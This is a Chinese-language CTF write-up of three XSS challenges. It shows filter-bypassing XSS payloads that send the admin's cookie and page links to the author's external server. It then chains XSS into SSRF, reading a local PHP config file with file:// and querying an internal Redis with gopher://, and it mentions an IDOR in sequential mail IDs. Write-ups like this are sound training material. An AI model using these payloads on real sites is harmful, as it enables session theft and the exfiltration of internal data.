HACK ME CTF-XSS 三部曲

无意见看见了 Hack Me

看了下XSS 篇,记录一下

XSSRF

很经典XSS 从 Admin flag -> xssrf 文件泄漏 -> xssrf 服务端应用

我看做出来的人不多,其实也有点意思,其实这三题我可以直接几分钟秒了。后面再说

#1 Steal Admin flag

是一个登录注册的邮件平台,注册登录,页面很简单普通的收发邮件,管理员会看。三个点 用户名,主题,内容。

手动fuzzing一下(页面有验证)。发现

1
() {} < script  < svg onload

存在过滤,还有一些函数,location.href,XMLHttpRequest 均过滤。走了一些小弯路。:)

后来发现并不是简单的过滤 on+++ 的事件函数, 它的正则可能是

1
< [\w\s]+(onload)|(onerror)

/ 绕之

1
< svg/onload=

最终playload:

1
< img < /onerror=location[’href‘]=‘http://www.m4p1e.com:9999/’+document.cookie src=1 / >

这里我没有用实体,因为没有必要,他过滤了location.href,但是location[‘href’] 绕之

拿到第一个admin Flag

#2 XSSRF FILE

很显然,文件泄漏,肯定又一个点我们包含他的文件。目录扫了一下存在配置文件common.·php,其实我第一件事不是扫目录,我看了一下管理员的面板

1
< img < /onerror=location[`href`]=`http://www.m4p1e.com:9999/`+encodeURIComponent(document.links[0])+`#`+encodeURIComponent(document.links[1])+`#`+encodeURIComponent(document.links[2])+`#`+encodeURIComponent(document.links[3])+`#`+encodeURIComponent(document.links[4])+`#`+encodeURIComponent(document.links[5])+`#`+encodeURIComponent(document.links[6])+`#`+encodeURIComponent(document.links[7])+`#` src=1 />

我看到我面板没有的一个页面request.php,有点东西

看一下这个request.php页面(中途我试过用管理员的session登录过,但他判断来源了,只能localhost登录,只能ssrf)

1
< svg/onload="var a = new & #88;MLHttpRequest();a['open']('get','./get.php',true& #41;;a.send(null& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& #41;location['href']='http://m4p1e.com:9999/'+btoa(a.responseText& #41;& #125;" >

我没想着全部用实体来替代,XMLReuqestHttp,),}替换一下就行

拿到了页面,是一个post 表单,一个参数url,清楚了呗。就是它了

第二个Flag 在 common.php 所以最终playload如下

1
2
< svg/onload="var a = new & #88;MLHttpRequest(& #41;;‘open’](‘POST’,‘./request.php’,true& #41;;a.setRequestHeader(`Content-type`,`application/x-www-form-urlencoded`& #41;;a.send(`url=file:///var/www/html/common.php`& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& 
#41;location[`href`]=`http://m4p1e.com:9999/`+btoa(a.responseText& #41;& #125;" >

读之拿到flag,也知道第三题redis的位置

第三题 XSSRF Redis

Redis 地址在 127.0.0.1:25566

gopher 之

1
2
< svg/onload="var a = new & #88;MLHttpRequest(& #41;;‘open’](‘POST’,‘./request.php’,true& #41;;a.setRequestHeader(`Content-type`,`application/x-www-form-urlencoded`& #41;;a.send(`url=gopher://127.0.0.1:25566/_TYPE flag`& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& 
#41;location[`href`]=`http://m4p1e.com:9999/`+btoa(a.responseText& #41;& #125;" >

是个list,看一下长度

1
2
< svg/onload="var a = new & #88;MLHttpRequest(& #41;;‘open’](‘POST’,‘./request.php’,true& #41;;a.setRequestHeader(`Content-type`,`application/x-www-form-urlencoded`& #41;;a.send(`url=gopher://127.0.0.1:25566/_LLEN flag`& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& 
#41;location[`href`]=`http://m4p1e.com:9999/`+btoa(a.responseText& #41;& #125;" >

53,即

1
2
< svg/onload="var a = new & #88;MLHttpRequest(& #41;;‘open’](‘POST’,‘./request.php’,true& #41;;a.setRequestHeader(`Content-type`,`application/x-www-form-urlencoded`& #41;;a.send(`url=gopher://127.0.0.1:25566/_LRANGE flag 0 53`& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& 
#41;location[`href`]=`http://m4p1e.com:9999/`+btoa(a.responseText& #41;& #125;" >

拿下第三个flag

文章最前面,我说这道题可以几分钟秒了是有原因的,嘻嘻,我发第一封信的时候,我发现信的id是几百,并不是从1开始,而后是连续的,这说明我可以读前面的邮箱。甚至发邮箱,其实是可以的。直接把前面的人的信读了之后很轻易就拿到flag,我也发现其实并不用外部接受,可以让管理员把你要的东西直接发到你的邮件里,如果xss bot 不能访问外网,那着也就是必经之路。

现在xssCTF 新题很多,每次都能学到新的东西,了解新的特性。告诉我了一个道理,也印证了前面的想法,Xss不仅仅是bypass filters,更多在于js的特性,事件,方法属性,游览器的特性(解析和容错),CSP,CSS。路还很长~